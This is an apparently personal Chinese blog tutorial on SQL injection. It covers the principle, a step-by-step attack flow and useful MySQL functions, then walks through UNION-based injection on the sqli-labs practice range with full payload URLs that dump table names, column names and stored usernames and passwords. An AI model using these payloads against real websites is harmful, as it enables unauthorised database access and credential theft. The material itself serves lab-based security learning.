sql注入(一)

一:sql注入原理

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

二:危害

  1. 窃取数据库信息。
  2. 写入webshell获取网站权限。

三:sql注入流程

  1. 寻找传参页面
  2. 判断是否存在注入点
  3. 判断字段的数量
  4. 判断字段回显的位置
  5. 查找数据库名
  6. 查找表名
  7. 查找字段名
  8. 查找字段内容
  9. 找后台登录

四:常见符号/函数/语句归类

  注释符

  #url 编码23%  单行注释在URL种#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由

  -- x        单行注释x表示任意字符,这里表示有一个空格

  /**/        内联注释

 

  常见运算符

  &&   同  and

  !    同  not

  ^   同  xor

  \      转义符

  ~     一元比特反转

  +     加,可替代空格

 

  常用函数

  user()        获取当前操作的用户名,同session_user(),current_user()有时也用sysytem_user()  

  version()         获取当前数据库版本信息

  database()        获取当前数据库名称

  @@datadir       获取数据库路径

  @@hostname    获取安装MYSQL的计算机名称

  

  截取字符串常用的函数
  mid(str,pos,length)      对字符串str,自pos位开始截取,截取长度为length
  substr(str,start,length)   对指定字符串进行截取,为substring的简版
l  left(a,b)          表示从数据库名左侧截取1位
  ord函数是返回字符的ASSCI码,常和截取字符函数一起使用
    ord(substr(database(),1,1)) > 114 判断数据库名的第一个字符的ASSCI码是否大于114
    ord()函数同assci()函数都是返回字符串的assci码值

  concat()将多个字符合并成一个字符串
  concat_ws() 简单理解为带分隔符的连接字符串
  group_concat()返回一个字符串结果,该结果由分组中的值连接而成

 

五:注入手法分类

  UNION联合注入

    MYSQL5.0以上版本利用系统表information_schema查找数据;常利用的表有schemata  tables   columns

  1.判断是否存在注入点,这里以sqli-labs为例,字符型可以使用特殊字符' ," ,'), ")进行判断,数字型可以使用 and 1=1 , and1=2等判断,盲注可以使用sleep()关键字看页面响应时间进行判断。

  2.order by(排序)    group by(分组)  判断字段的数量; 

  3 union select 判断字段可利用的位置,例如用1,2,3,4,5占位,union select 1,2,3,4,5;注意的是union前后执行的select语句查询的字段数,类型需相同。

  4.查数据库名,在可利用的位置上执行select database()

  5.查表名例如:group_concat(table_name) from information_schema.tables where table_schema=database();

  6.查字段名:group-concat(column_name) from information_schema.columns where table_schema=database() and table_name="表名";

  7.查具体的字段值: roup-concat(column_name) from "表名";

 

 

  简单的以sqli-labs靶场为例

  1.判断是否存在注入点

   2.判断字段数量,根据页面返回的信息判断存在3个字段

 

   3.判断字段可利用位置

   4.查数据库名

   5.查表名http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

   6.查字段名(查找users表种的字段)http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+

   7.查具体的字段值http://43.140.200.200/sqli-labs/Less-1/?id=-1' union select 1,database(),group_concat(id,username,password) from users --+

   8.查出的字段值用户名和密码难区分,可以利用concat_ws()调整回显的字符串格式,例如concat_ws(0x7e,id,username,password),0x7e十六进制代表~符

 

 

 

 

 

   

  

  

 

posted @ 2023-04-27 16:15  ZT不高兴  阅读(48)  评论(0)    收藏  举报